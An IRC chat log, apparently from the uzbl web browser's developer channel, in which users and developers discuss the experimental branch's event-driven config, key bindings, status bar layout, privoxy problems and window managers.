10:30 < axionix> hmm interesting. id like to know as well. id switch to experimental if it caches, even though id really like support for gzipped-pages even more as half of the web doesnt work for me
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10:31 < axionix> but libsoup doesnt do this :/
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10:31 < rob__> right, though the webkit guys are hard at work and disk caching + gzip support should be available soonish
10:31 < axionix> nice!
10:32 < axionix> i also heard they are working on adblocking
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10:33 < bleader> rob__: ok, thanks, but it seems very slow, maybe it's just the ajax, dynamic or whatever this give website uses :)
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10:33 < bleader> I'll have a look on some other :)
10:33 < axionix> yeah same here,i can see back links load top to bottom even on a c2d
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10:35 < bleader> google images is definitely cached, probably depends the way the website is done
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10:36 < bleader> well, I may add a caching proxy, with my roommate it's something I was planning to try anyway :)
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10:36 < rob__> yeah, i'm not aware of the exact way the webkit cache works, though
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14:27 < bittin> Hello,where is the uzbl standard config located nowdays?
14:29 < MichaelRaskin> ~/.config/uzbl/config?
14:29 < bittin> yea but i wondered where the /usr/share/uzbl config is that i can take from i don't find it anymore
14:33 < bittin> the example one?
14:35 < keis> ligger i /usr/share/uzbl/examples
14:36 < bittin> hittar inte den katalogen, kan du inte ladda upp den filen?
14:37 < keis> /usr/local/share.. då?
14:38 < bittin> ne :(
14:38 < keis> annars, http://github.com/Dieterbe/uzbl/blob/experimental/examples/config/uzbl/config
14:38 < bittin> keis: tackar
14:38 < keis> np :)
14:42 < bittin> ska bara slänga in det som står under uzbl_tabbed i wikin så blir det perfekt :)
14:42 < keis> mm, eller så kör man tabbed i xmonad :)
14:43 < bittin> jag kör wmii
14:43 < bittin> aldrig provat xmonad
14:44 < keis> den är tuff, och så är den kodad i haskell <3
14:45 < bittin> har du inte en okej standard uzbl_tabbed config går inge bra då jag försöker confa
14:46 < keis> kör inte med uzbltabbed
14:46 < bittin> k
14:46 < keis> hmm, just ja. du kanske inte kör experimental
14:47 < bittin> ne
14:47 < keis> imo värt att göra det, master laggar efter ganska rejält nu
14:47 < bittin> k
14:48 < keis> och så slipper du konfigurera om sen
14:48 < bittin> k
14:48 < bittin> /bin/sh: uzbl-browser: command not found
14:48 < bittin> får jag då jag försöker starta uzbl tabbed
14:48 < keis> mm, i experimental är uzbl-browser ett start script
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14:49 < keis> som drar igång cookiedaemon och lite annat
14:49 < keis> startscript*
14:49 < bittin> vad tror du är fel då om det inte funkar?
14:50 < keis> ptja, att du kör master. eller missuppfattade jag dig?
14:50 < bittin> nej iofs bytte jag till exprimental nu
14:50 < keis> ah
14:51 < bittin> aja får pilla ihop en config igen då jag orkar
14:51 < keis> då vet jag inte, kolla så det är installerat helt och så
14:52 < bittin> även fast uzbl är så mycket mysigare än firefox
14:53 < keis> jupp, även om det inte riktigt går att få till den som jag vill än
14:54 < keis> men ska ha vim-style ggVG fungerande förr eller senare :P
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17:10 < axionix> wmii is nice :)
17:10 < axionix> seems to be a few users here
17:12 < m00nblade> xmonad is also nice ;)
17:19 < DuClare> stumpwm is also nice :)
17:23 < ruskie> fvwm is also nice
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17:40 < axionix> i'm waiting for the dwm guy
17:40 < axionix> to tell him how much it sucks with an intel graphics card
17:42 < axionix> cannot switch monitor resolutions (most games, etc) at all in dwm, even with a correct xorg.conf
17:43 < axionix> at least not with a gm45 chip...2 laptop's i tried
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22:37 < JasonWoof> I just discovered enable_spellcheck=1, but it underlines everything.
22:39 < JasonWoof> I'm hoping I just need to tell it to use en_US dict, but how?
22:39 < JasonWoof> I'm on master btw
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23:07 < JasonWoof> ahh, just gotta export LANG=en_US
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00:32 < vs> hello all , can someone help me to install uzbl on my arch laptop
00:32 < vs> simply I can't find it in repositories
00:33 < Bram> isn't it in AUR ? (I'm not using arch)
00:33 < vs> don't know
00:33 < Bram> well then take à look :p
00:35 < vs> yes http://aur.archlinux.org/packages.php?ID=25972 but pacman does'nt see it , probably I didn't add it to the repo list, how can I do that ?
00:36 < Bram> if my mémory is correct you'll have to use yaourt
00:37 < Bram> some layer for pacman that can access to aur
00:37 < vs> yes I heard about it thanks will try to install it now
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06:06 < mason-l> Hey guys.
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08:26 < Dieterbe> hi mason-l !
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10:09 < github> uzbl: Dieter Plaetinck experimental SHA1-a9363df
10:09 < github> check for existence of config file and if not copy it, no matter if we had to create the config dir or not
10:09 < github> http://bit.ly/1BImoi
10:09 < rob__> morning.
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10:10 < Dieterbe> heya
10:18 < rob__> so, i wonder wether the connection issues between core and EM still exist for anyone. i had a couple of uzbls running for some days now and didn't experience any connection loss
10:18 < kaeso> as a quick note, the long-due 20090912 .deb went to unstable (incoming, actually)
10:20 < rob__> hmm, so another obsolete version in debian..
10:20 < kaeso> true, double-obsolete at this time, my fault
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10:24 < Dieterbe> debian is obsolete by definition :P
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10:31 < kaeso> to me, it looks like there are no tags newer than that... so, it still fit my definition of "latest version"
10:34 < rob__> well, true. though the gap between master and experimental is a huge one and master is not being worked on anymore..
10:40 < kaeso> will consider an upload to deb-experimental then, if given some spare time next time
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11:00 < rob__> hmm, just gave musca a shot and decided that manual tiling doesn't fit my workflow too well..
11:00 < rob__> way to much user interaction required
11:35 < Dieterbe> call the ships to port
11:38 < DuClare> I'm not sure whether manual tiling is good or bad
11:38 < DuClare> I don't change my window configuration that much
11:39 < DuClare> So I can build the layout once, and keep using it
11:39 < DuClare> And I can have some windows in the background
11:39 < DuClare> This reduces the number of desktops I'd need for these windows on xmonad
11:40 < DuClare> But that's not necessarily any better than just using desktops
11:40 < DuClare> Well..
11:41 < DuClare> If I have to choose between switching two desktops and focusing a window, versus selecting or "pulling" a background window from the current desktop.. the latter does actually sound rather desirable
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11:42 < DuClare> I have the same keys I used on xmonad for cycling the focus between the splits
11:42 < DuClare> Then I have a screen-like prefix via which I can select bg windows using a number
11:43 < DuClare> The prefix also works like in screen in that when you tap it twice, it switches to the last shown window
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18:02 < rob__> already seen this: http://sta.li/ ?
18:05 < keis> breaking stuff just to break stuff
18:07 < rob__> well, that's typical for the suckless guys ;)
18:07 < keis> I guess
18:07 < keis> but come on /home/root /bin/kernel
18:07 < keis> what could they possibly gain from doing that
18:08 < rob__> not too much i guess
18:09 < rob__> i guess they're trying to build a p9 alike using a linux kernel and GNU userland
18:09 < rob__> pretty strange, though
18:09 < Dieterbe> looks interesting
18:10 < Dieterbe> no i think they want to avoid gnu stuff as much as possible
18:11 < rob__> yeah, they also said something about replacing X with the forthcoming google windowing thing
18:12 < Dieterbe> google windowing thing?
18:14 < rob__> don't have a link at hand
18:14 < rob__> but as i understood google plans to release a graphics system similar (maybe even compatible?) to X11
18:14 < rob__> to be used in their google OS
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18:31 < rob__> ... The software architecture is simple — Google Chrome running within a new windowing system on top of a Linux kernel ...   <-- http://googleblog.blogspot.com/2009/07/introducing-google-chrome-os.html
18:31 < rob__> best i could find
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18:37 < bct> i've heard about a new windowing system, but that sounds more like a new wm than a replocement for X11
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19:02 < keis> im trying to hack together x properties integration, do you think it makes sense to export the variables for reading through xprop as well?
19:08 < rob__> keis: hmm, depends. would you set a property for each var?
19:09 < keis> something like that
19:09 < rob__> i see, well just go for it
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19:10 < rob__> bct: really? for me it sounds more like an X11 replacement
19:13 < bct> oh, maybe you're right.
19:13 < bct> i didn't realise that "windowing system" was a well-defined term.
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20:28 < rob|> damn, the new X packages broke my vmware
20:28 < rob|> i starting to dislike arch more and more :(
20:29 < rob|> *i'm
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21:03 < Cheeseum> er
21:03 < Cheeseum> ffff
21:05 < Dieterbe> rob__: last time i talked to keis he said "my latest stuff is just playing around. i'll let you know when i want you to merge"
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09:07 < Dieterbe> morning ladies
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09:13 < mason-l> http://xkcd.com/657/large/
09:13 < mason-l> Hey Dieterbe.
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09:15 < Dieterbe> so, any news? :)
09:23 < mason-l> Not yet.
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09:53 < axionix> anything i should be aware of when upgrading to experimental?
09:54 < MichaelRaskin> A lot
09:54 < MichaelRaskin> Read the configuration examples
09:54 < MichaelRaskin> The basic idea is that everything is done using events - including binds
09:55 < axionix> hmmm
09:56 < axionix> facebook stopped working with main branch
09:56 < MichaelRaskin> axionix, 3 vs 1 that it is WebKit's fault
09:56 < axionix> no i havent upgraded webkit in a long time...i have it in PkgIgnore
09:57 < axionix> this occured since yesterday, which is odd because i ahvent upgraded anything
09:57 < axionix> it happpened in the past, too, but i was able to fix it by removing the sockets and restarting
09:57 < Dieterbe> MichaelRaskin> The basic idea is that everything is done using events - including binds <-- not everything. commands are still like before (except the bind command)
09:58 < axionix> but its stuck now...cant login...brings me to a 404 page, with a missing stylesheet
09:59 < mason-l> axionix, But for the most part all the binds are backwards compatible.
09:59 < mason-l> axionix, But you will need to at the very least start off with a new config file (or the example config).
10:00 < MichaelRaskin> Dieterbe, actually, as I understand it, there are "event" and "set" to stay, the rest is waiting deprecation
10:00 < MichaelRaskin> I remember someone confirmed that
10:01 < MichaelRaskin> Dieterbe,  or mason-l, I am not sure which of you
10:01 < axionix> it doesnt matter what i login with...it immediately goes to a 404 page. usually logging in takes longer than a millisecond
10:01 < mason-l> Thats...
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10:02 < MichaelRaskin> axionix, does it work anywhere?
10:02 < axionix> yes in any browser
10:02 < rob__> morning.
10:02 < mason-l> MichaelRaskin, I didn't say that, and I'm not sure how feasible that is at the moment.
10:02 < mason-l> MichaelRaskin, Well I wasn't the one who said it.
10:02 < MichaelRaskin> mason-l, deprecation may be slow..
10:03 < axionix> even in webkit based...midori works fine
10:03 < MichaelRaskin> well, actually, as "chain" seems to be EM's job and spawn eventually, too, and "uri" is replaced with "set uri=" ..
10:04 < MichaelRaskin> definitely looks like deprecation of everything except event and set
10:07 < axionix> even tried disabling cookie handler
10:07 < axionix> this is seemingly random...its weird
10:07 < axionix> even as root with a blank config
10:07 < mason-l> MichaelRaskin, Theres a lot of commands which I don't think will be removed (I.e. search, zoom_{in,out}, reload, stop, back, forward).
10:08 < mason-l> Well, back and forward could be removed.
10:08 < MichaelRaskin> reload means "set uri=@uri"
10:08 < mason-l> Script can't be removed.
10:09 < MichaelRaskin> zoom_in/zoom_out are mor for direct user scripting than for EM that will just do "set zoom_level="
10:09 < MichaelRaskin> Hm, yes, I missed "js" and "script" commands
10:10 < axionix> definitely not a webkit or cookie problem
10:10 < MichaelRaskin> search seems clearer as it is than via an variable combination, I agree
10:14 < axionix> nvm, found the problem
10:14 < mason-l> I wouldn't mind a 'config' option to accompany the 'script' command. Usage example: @on_event LOAD_FINISH config @config_dir/page_load_commands
10:14 < axionix> i forgot privoxy is bugged
10:14 < Dieterbe> MichaelRaskin> Dieterbe, actually, as I understand it, there are "event" and "set" to stay, the rest is waiting deprecation <-- hm? what? no.  there are a lot of useful commands that will stay (reload, back, scroll, and so on and so on)
10:14 < axionix> everytime my network address changes i have to restart privoxy daemon
10:15 < axionix> which is weird
10:15 < MichaelRaskin> reload is synonymous to a trivial set..
10:15 < MichaelRaskin> So whether it should be a command is nonobvious
10:16 < mason-l> MichaelRaskin, This this is the case of having non-uniform navigation commands (I.e. we wouldn't make it: stop, back, @reload, forward).
10:16 < Dieterbe> why would you want to minimize the command set as much as possible?  it's much more convenient to have a 'reload' command rather then having to do "set uri=@uri"
10:17 < MichaelRaskin> Hm
10:17 < MichaelRaskin> stop is impossible to work around.
10:17 < Dieterbe> work around?? think about what problem you are trying to solve
10:17 < mason-l> MichaelRaskin, While it may be possible to remove a large portion of the built-in commands its not practical.
10:18 < MichaelRaskin> mason-l, you mean that, say, spawn should stay?
10:19 < MichaelRaskin> I know that there was an idea to simplify config from the uzbl side..
10:19 < rob__> root
10:19 < MichaelRaskin> So I want to move everything that will have to move now...
10:19 < mason-l> MichaelRaskin, All these commands need to be looked at on a case-by-case basis (if at all). Spawn can be removed but theres no rush.
10:19 < mason-l> Hey rob__
10:20 < mason-l> rob__, /nick robm
10:20 < MichaelRaskin> I don't want to add new bindings that will use spawn if it will probably be removed (somewhen in future)
10:20 < rob__> mornings.
10:20 < rob__> mason-l: ?
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10:20 < MichaelRaskin> So I prefer to be devil's advocate here - what doesn't get confirmation of stability should be implemented using EM in new configs..
10:20 < axionix> does uzbl do https?
10:21 < mason-l> rob__, :)
10:21 < MichaelRaskin> Yes
10:21 < axionix> hmm problem
10:21 < mason-l> axionix, There is no invalid-cert warnings though.
10:21 < mason-l> (Yet?)
10:21 < axionix> when i type o https://sourceforge.net/projects/ijbswa
10:21 < axionix> it goes here:
10:22 < axionix> http://sourceforge.nethttps//sourceforge.net/projects/ijbswa/
10:22 < axionix> and fails
10:23 < hickop_> axionix: for me it fail to resolve dns xD
10:23 < axionix> yeah its prepending another url somehow
10:24 < mason-l> axionix, I don't fail but I'm switched to normal http://
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10:25 < axionix> its odd, i cant click any links to sourceforge...redirects to https which prepends/fails
10:26 < mason-l> Anyway huge feature request for the future is being able to right-justify some text in the status bar. This will probably involve another gtk label and hbox
10:27 < mason-l> and maybe status_left status_right variables.
10:27 < Dieterbe> morning rob__ 
10:27 < rob__> mason-l: yes, that's the only way
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10:28 < axionix> ugh, its another privoxy problem. i need to get rid of this shit and find something better
10:28 < Dieterbe> doesn't the pango markup language support it?
10:28 < rob__> Dieterbe: no
10:28 < hickop_> axionix: ha you use it too
10:28 < axionix> hickop_: ?
10:29 < hickop_> axionix: privoxy
10:29 < mason-l> rob__, Do you know how well it can cope with resizing and text overflowing?
10:29 < axionix> hickop_: yeah it breaks a lot of shit
10:29 < mason-l> Auto-balancing might be the term I'm after.
10:29 < rob__> mason-l: exactly that's my main issue. resizing shouldn't be such a big problem, though
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10:29 < hickop_> axionix: yes it block most usefull sites but not the pesky ads ^^
10:30 < axionix> any good alternatives?
10:30 < Dieterbe> we should have a page on the wiki.. about which proxyservers are there and for each pros and cons
10:30 < Dieterbe> *hint*
10:30 < hickop_> wait for webkit adblock i gues
10:30 < rob__> axionix: bfilter
10:30 < axionix> bfilter does not work any better
10:31 < rob__> oh
10:31 < axionix> guess i'll make a bind to disable the proxy
10:32 < axionix> only thing i can think of to get around all this bugginess
10:32 < Dieterbe> mason-l: that xkcd guy is nuts
10:33 < Dieterbe> axionix: lol. @on_event LOAD_ERROR chain 'set proxy_url=""' 'reload' 'set proxy_url=@my_proxy'
10:33 < Dieterbe> or something like that
10:33 < axionix> cool thanks
10:33 < axionix> i guess i need experimental :)
10:33 < Dieterbe> the above is more of a joke btw
10:34 < axionix> bah
10:34 < Dieterbe> it might work though, if you fix the broken syntax :)
10:34 < axionix> theres an event for load error?
10:35 < Dieterbe> yes
10:36 < Dieterbe> so it might actually work
10:36 < axionix> even if my dns tries to open my isp's search engine?
10:36 < Dieterbe> o_O
10:37 < axionix> opendns does this
10:38 < axionix> so does my isp
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10:41 < Dieterbe> a dns cannot open a webpage. did you mean you try to resolve a certain hostname and it gives you the ip of the search engine? if so, for which hostnames does it do that?
10:41 < axionix> if dns cannot resolve, it tries searching...any that cant resolve
10:42 < axionix> i'm sent to opendns.com or rr.com depending on the dns i'm using
10:42 < hickop_> that means the site doesnt exist no ?
10:42 < axionix> yes
10:43 < hickop_> i dont think browser will receive load_error but i'm not sure
10:44 < axionix> i havent had a browser load error in years :)
10:44 < Dieterbe> uzbl doesn't do dns.  it uses system calls to outsource dns
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10:44 < Dieterbe> so it just connects to an ip and spawns load_error when it has problems doing that
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10:45 < axionix> so it should work then
10:47 < Dieterbe> only one way to find out
10:48 < axionix> so the example config explains all the differences
10:48 < axionix> i'll check it out
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11:01 < Dieterbe> mason-l: stop soiling our ocean !
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11:24 < axionix> shouldn't @scripts_dir be $XDG_DATA_HOME/uzbl/scripts?
11:24 < axionix> why are they all up a dir now?
11:24 < Dieterbe> the '/scripts' suffix gets appended 
11:24 < axionix> oh ok
11:24 < Dieterbe> (look at the end of the definition, it should say ':/scripts' or something
11:25 < axionix> yeah i thought that was another dir or something
11:26 < Dieterbe> it's pretty cryptic but there is a very brief explanation in the readme somewhere i believe :P
11:27 < axionix> what is a scheme handler?
11:27 < Dieterbe> open it, you'll understand
11:30 < axionix> are these new things documented?
11:31 < axionix> trying to figure out the difference between the 2 window handlers
11:31 < axionix> the default isnt open in same window?
11:35 < rob__> it is, but you can override it so that requests to open in a new window will be "ignored" and displayed in the current window
11:36 < rob__> i.e. that window handler will only kick in if the site requests to open a link in a new window
11:40 < rob__> axionix: before updating your old config you should run 'make test-dev-browser' from the source dir, this will start uzbl-browser with the sample config and you can play around with it
11:40 < axionix> ok
11:40 < axionix> is there no more 'script'
11:40 < axionix> i see 'js'
11:40 < rob__> sure, there is
11:40 < axionix> ok good
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11:41 < rob__> 'js' will just execute "inline" javascript without reading it from a file
11:41 < axionix> so i can have more than 1 event line rather than chaining them all into 1?
11:41 < rob__> yes
11:42 < axionix> nice
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11:42 < axionix> whats stopping this from being merged into master?
11:42 < axionix> seems like a lot of changes :)
11:43 < rob__> well, uzbl-tabbed needs some rewriting to be aware of the EM. that's basically the only stopper right now
11:44 < axionix> i'm just not sure which scripts i shouldnt use now
11:44 < axionix> like i heard theres no need for go_input as experimental focuses textbox already or something
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11:44 < axionix> i have a lot of scripts i'm not sure if i need
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11:45 < Dieterbe> just look at the new sample config. you'll see what it does with the textbox thing
11:45 < rob__> yeah, go_input is obsolete
11:46 < axionix> is that the only script obsolete?
11:46 < rob__> i guess so, didn't check everything on the wiki, though
11:49 < axionix> hehe this config seems very cool
11:49 < axionix> nice work guys
11:50 < rob__> :)
11:52 < axionix> whoa it detects when the config is changed?
11:52 < rob__> no
11:52 < axionix> what's CONFIG_CHANGED
11:53 < rob__> an EM event, that is emmited when its config changes
11:53 < axionix> it's commented out in the sample
11:53 < axionix> do i want it?
11:53 < rob__> no, it's just an example that demonstrates how to use the positional parameters (%1, %2, ...)
11:53 < mason-l> axionix, VARIABLE_SET is raised every time a variable is set, CONFIG_CHANGED is only raised if the value of the variable has changed.
11:53 < MichaelRaskin> rob__, what, you wouldn't wait for a Haskell EM to appear before merge?
11:54 < mason-l> MichaelRaskin, Are you working on one?
11:54 < MichaelRaskin> No
11:54 < MichaelRaskin> Mine is in Common Lisp
11:54 < rob__> i'd love to see one :)
11:54 < mason-l> So would I
11:54 < MichaelRaskin> And it needs a complete rearrangement
11:55 < mason-l> MichaelRaskin, Do lispers care about the 80 character line .. guide?
11:55 < mason-l> guide/style/preference
11:55 < MichaelRaskin> I guess it depends
11:56 < MichaelRaskin> Sometimes I try to follow it
11:56 < MichaelRaskin> Sometime I breaking it acceptable
11:56 < mason-l> rob__, What did you think of: <mason-l> I wouldn't mind a 'config' option to accompany the 'script' command. Usage example: @on_event LOAD_FINISH config @config_dir/page_load_commands
11:56 < MichaelRaskin> There are probably some people religiously following it
11:57 < axionix> with 80 characters you cant tell if a line continues on 80-column terminals
11:57 < axionix> i use 79 for every language
11:57 < axionix> and is recommended in python style guide
11:58 < mason-l> axionix, Exactly what I mean/meant.
11:58 < rob__> mason-l: so this would basically be an 'include' command?
11:58 < mason-l> rob__, Yeah, does it already exist?
11:58 < rob__> no, i also thought about something like this
11:59 < Dieterbe> mason-l: rob__ what about @on_event LOAD_FINISH cat @config_dir/page_load_commands > $4 (or $7 or whatever it was)
11:59 < mason-l> rob__, And associated 'LOAD_CONFIG <path/to/file>', do loaded commands & 'LOADED_CONFIG <path/to/file>'
11:59 < mason-l> events
12:01 < axionix> i really hate how the status_background sets the color of gtk widget's transparency (like rounded corners for buttons)
12:01 < axionix> i know its not uzbl's fault, but it really sucks
12:03 < mason-l> Dieterbe, I was thinking the same easy to use function could be used to load the initial config on startup and also raise those LOAD_CONFIG and LOADED_CONFIG events.
12:04 < Dieterbe> mason-l: which function are you talking about? the new one you're proposing? you want to build it into uzbl-core?
12:06 < rob__> well, an include command would certainly be nice to have. this would allow to easily split the config into multiple files without the need to be aware of (or even use) sockets/fifos
12:07 < rob__> to config would be like:  include @config_dir/bindings etc.
12:07 < mason-l> And load a series of events (when its impractical to use the chain command) from a config file using an on_event trigger.
12:07 < rob__> yeah
12:08 < rob__> need to get my VM running again, though
12:08 < rob__> somehow the latest X/kernel updates broke Xorg in the vm
12:10 < mason-l> rob__, Also in the following instance: "COMMAND_EXECUTED spawn /home/mason/.local/share/uzbl:/usr/local/share/uzbl/examples/data/uzbl:scripts/scheme.py 'http://www.uzbl.org/'" can uzbl return the path of the actual script it loaded and not the "dir1:dir2:exec" path? This could be helpful when debugging.
12:10 < mason-l> But only in the COMMAND_EXECUTED event (so far).
12:11 < rob__> sure, that would involve some strcmp()ing, though
12:11 < mason-l> rob__, Also what are your thoughts on moving the spawn command into the EM?
12:12 < mason-l> Is there any magic that happens on the uzbl-core side that would prevent us from doing that?
12:12 < rob__> spawn can be moved into the EM, sync_spawn can't until we have sync events
12:13 < mason-l> How are sync_events progressing?
12:14 < rob__> slowly, haven't worked on them at all lately
12:14 < mason-l> Ok.
12:14 < rob__> i'm pretty unsure about best practice to implement them and the guys in #gtk haven't been very helpful either :(
12:15 < mason-l> Non-responsive or clueless?
12:15 < rob__> the latter
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12:15 < mason-l> :)
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12:15 < mason-l> Dieterbe, xkcd is awesome.
12:16 < mason-l> Dieterbe, I know its not for everyone but if you haven'
12:16 < mason-l> havent seen his work then check it out.
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12:25 < Dieterbe> mason-l: i have.  i'm subscribed to the feed :)
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12:38 < rob__> man, that's pretty strange X works on the same image in virtualbox but doesn't in vmware
12:40 < Dieterbe> is it possible to use the same image in both vbox and vmware?
12:40 < rob__> yeah
12:40 < rob__> at least vbox can use vmware images
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12:40 < Dieterbe> oh i see
12:41 < Dieterbe> i thought there was some kind of standard for vm images to be interoptable as well
12:41 < ruskie> nope
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12:41 < ruskie> not yet
12:42 < axionix> if go_input is obsolete, how do you focus the first form?
12:42 < axionix> it only seems to do half of the job, switch to input mode when clicked
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12:44 < rob__> axionix: it will switch to input if a form has initial focus
12:45 < axionix> yes, but go_input gave focus to the first form on a page
12:45 < rob__> well, we don't do that by default (though you can still use go_input if you need that)
12:45 < rob__> probably needs some modifications, though
12:46 < axionix> damni need that
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12:48 < rob__> axionix: try to change the line   'Uzbl.run("toggle_insert_mode 1");'   to   'Uzbl.run("event FORM_ACTIVE");'  in go_input
12:49 < rob__> and obviously attach go_input to an event (LOAD_FINISH probably)
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12:49 < axionix> ok,i'll try after i port my config over
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12:51 < rob__> hmm, maybe that's not needed if you attach go_input to LOAD_FINISH before the 'LOAD_FINISH js ...' line in the config
12:53 < rob__> as go_input sets the focus itself and that should be detected by the next js line
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13:00 < axionix> so is it possible to set binds easier for ^W and such? before i had to use vim ^V^W and they show up as blank on github...there should be a better way to bind these
13:01 < axionix> oh i can just use <ctrl> right?
13:02 < axionix> and what about arrow keys? can they be mapped yet?
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13:03 < mason-l> axionix, Every single key can be mapped.
13:03 < axionix> what do i put for an arrow key?
13:03 < rob__> axionix: note that <Left> and <Right> are already mapped to command editing
13:03 < mason-l> axionix, And modkeys are case sensitive (that <ctrl> wont work; use <Ctrl>).
13:04 < mason-l> axionix, But you can un-map or re-map them if you choose.
13:04 < axionix> oh ok. i'd like to map <Ctrl><Up> to go up a dir
13:04 < mason-l> axionix, You can do that without un-mapping <Up> (even though its not mapped already).
13:05 < mason-l> <Ctrl><Up> will work out of the box
13:05 < axionix> it scrolls, though so i think its mapped
13:06 < mason-l> axionix, Are you sure you aren't in insert mode?
13:06 < mason-l> It won't scroll in command mode/.
13:06 < axionix> ah i see
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13:07 < rob__> axionix: so if you're in insert mode all keypresses will (also) be sent to webkit which has some default actions
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13:08 < mason-l> rob__, Is there a simple webkit event raised for scroll percentage or will we still have to use some js for that?
13:08 < rob__> i didn't find any simple solution to that
13:09 < axionix> <Ctrl>a<:><Ctrl>q
13:09 < axionix> what does that mean?
13:09 < axionix> seems to work with just ^Q
13:10 < rob__> that's stacked/chained bindings.
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13:11 < rob__> try to hit ^a^h (with the default config)
13:11 < rob__> it should bring you to uzbl.org
13:11 < axionix> yep
13:11 < mason-l> axionix, <:> acts as a sub-command separator.
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13:11 < axionix> i see
13:12 < mason-l> axionix, And you can also include prompt-text for the next part of the command with "@bind <Ctrl>l<location:>_ = uri %s"
13:13 < axionix> so i could do <Ctrl>b<:>... for all bookmark shortcuts for example?
13:14 < rob__> yeah, even <Ctrl>b<bookmark:>...
13:14 < axionix> whats that do>
13:14 < rob__> print "bookmark:" to the statusbar after you hit ^b
13:15 < axionix> oh nice, so what didnt you guys think of yet? ;)
13:15 < axionix> now my commands wont clobber each other
13:16 < mason-l> axionix, Also you can stack them: "@bind <Ctrl>p<name:>_<age:>_<weight:>_ = spawn myscript.py %s %s %s"
13:17 < axionix> hmmm
13:22 < axionix> i screwed up my config somehow
13:23 < axionix> set uri              = google.com
13:23 < axionix> worked a few minutes ago...says google.com in the statusbar
13:23 < axionix> but its blank
13:23 < axionix> i have to manually go there
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13:25 < axionix> reload doesnt even work
13:26 < mason-l> rob__, Maybe a cut-down version of the scroll_percentage js script can just raise some "SCROLL_PERCENTAGE 43%" events for the EM.
13:27 < mason-l> (For inclusion in the experimental repo that is.)
13:27 < axionix> i see, it has to be at the end of the file
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13:32 < rob__> mason-l: sure, we could do that. should be trivial to adapt the JS to do so
13:37 < rob__> mason-l: on the other hand, what's the benefit of doing so? i mean sure, you could use SCROLL_PERCENTAGE with @on_event, but apart from that?
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13:38 < mason-l> rob__, I'm just thinking in the long run having a right-aligning vim-like scroll percentage readout in the status bar.
13:38 < mason-l> It might be worth just using the scroll percentage script.
13:38 < mason-l> I just wish that feature existed inside webkit though.
13:39 < rob__> probably there is a way to query the gtk scroll adjustments
13:40 < rob__> but the documentation of those is pretty confusing
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13:54 < axionix> what's wrong with this? <Ctrl>b<bookmark:>uzbl
13:54 < axionix> s/uzbl/u/ works fine
13:57 < axionix> i'm trying to map my bookmarks to words instead of single characters
13:58 < mason-l> axionix, Whats the full command?
13:59 < axionix> @bind <Ctrl>b<bookmark:>uz    = uri http://uzbl.org
13:59 < axionix> ^doesnt work
13:59 < axionix> but  @bind <Ctrl>b<bookmark:>u does
14:04 < mason-l> axionix, There already is bind using <Ctrl>b
14:04 < axionix> i commented it out
14:04 < axionix> thats not the problem
14:06 < mason-l> You're correct. I'll look into it.
14:06 < axionix> ok thanks
14:08 < axionix> yeah kinda makes it difficult to add all my bookmarks like this...i need a script again
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14:47 < rob__> mason-l: still around?
14:47 < mason-l> Yeah
14:47 < rob__> mason-l: i added  'status_format_center' and 'status_format_right' vars which wil do what the name suggests
14:48 < mason-l> :O
14:48 < mason-l> Awesome.
14:48 < rob__> it works, but needs some more tweaking.
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14:48 < mason-l> How well does center work?
14:48 < rob__> like only packing the labales that are actually used, etc.
14:50 < rob__> well, as of now it will _always_ draw and pack all three labels (and thus devide the sizes of them equally) even if one or more of them are not used/empty
14:51 < rob__> will work on the packing later
14:55 < rob__> http://omploader.org/vMm9mbg
14:55 < Dieterbe> the suckless guys are really going to shoot us for this
14:58 < rob__> hehe
15:00 < rob__> not sure how well calculating the sizes and packing the labels accordingly will work, though
15:01 < Dieterbe> we could always introduce variables like status_center_size , status_right_size
15:01 < Dieterbe> where 0 means disabled
15:02 < mason-l> rob__, Have you removed the status bars 2px border?
15:03 < mason-l> rob__, Calculating the size won't work because not all unicode characters are monospaced and or it fails when the font_family isn't monospace.
15:03 < mason-l> If thats the kind of calculation you meant.
15:04 < rob__> yes, exactly
15:05 < rob__> yeah, i commented the padding for testing purposes
15:06 < mason-l> rob__, And I see what you mean about that packing problem.
15:06 < mason-l> rob__, And you would need the DPI for the calc.
15:07 < hickop> set status_background does not work in experimental ?
15:07 < axionix> sure it does
15:07 < hickop> for me it doesnt :/
15:07 < rob__> mason-l: right, not sure if it's woth it..
15:07 < axionix> there is more than background. you have per event backgrounds now afaik
15:07 < rob__> +r
15:08 < mason-l> hickop, You need to either change the per-mode status_background value or comment out that.
15:08 < mason-l> hickop, You're looking for a line like: @command  status_background   = #202020
15:08 < mason-l> and @insert   status_background   = #303030
15:08 < hickop> ho , in the scripts ?
15:09 < mason-l> In the example config.
15:10 < hickop> ho right i didnt notice , thx
15:11 < mason-l> hickop, Theres three different modes that set background colours, get them all! :)
15:15 < axionix> i'm so sick of hearing "uzbl isn't ready yet"
15:15 < axionix> been using it as my only browser for a few months without problems
15:16 < axionix> yet i hear that multiple times per day...lazy people
15:17 < hickop> i'm trying to use uzbl only
15:18 < hickop> but webkit makes me use other browsers sometimes
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15:25 < axionix> i found most of those problems are either user agent string or cookie related
15:25 < axionix> but yeah, webkit has a few minor quirks
15:26 < bct> i don't think i've run into anything that i can blame on webkit.
15:27 < bct> sometimes javascript misbehaves, but it's hard to say whose fault that is
15:27 < bct> and any cookie weirdness is almost certainly uzbl's fault.
15:27 < axionix> i found one thing i can blame on webkit
15:28 < axionix> http://www.fatpita.net
15:28 < axionix> click a few images, then hit back to go back an image...not what you expect
15:28 < axionix> it happens throughout webkit browsers
15:28 < hickop> @on_event   LOAD_COMMIT    script @scripts_dir/middle_click.js
15:28 < hickop> is that the right thing to write to use scripts ?
15:29 < Dieterbe> axionix: well, i don't trust uzbl yet for stuff such as online banking. but then again i have small signs of paranoia
15:29 < rob__> hickop: yes
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15:33 < bct> Dieterbe, do you have any specific fears?
15:33 < mason-l> Did I miss anything?
15:34 < Dieterbe> nope
15:34 < Dieterbe> @ bct 
15:34 < Dieterbe> just being over cautious, i guess
15:34 < bct> how will you know when to start trusting it then? :P
15:34 < mason-l> Dieterbe, What are you fearful about?
15:36 < Dieterbe> mason-l: that for some reason it would start sending data to the wrong host, or do encryption wrong, or stuff like that
15:36 < mason-l> Dieterbe, uzbl would?
15:37 < Dieterbe> mason-l: probably not
15:37 < Dieterbe> like i said, i might be too cautious
15:38 < bct> speaking of encryption, does uzbl handle bad and/or self-signed SSL certificates the way it should?
15:38 < bct> i haven't noticed any warnings, which makes me suspicious.
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15:42 < bct> now that i think about it, it doesn't give any indication that you're using https, either (except in the URL)
15:46 < mason-l> rob__, Can you think of anything we can put the GtkLabel inside that will allow it to shrink and expand how we want?
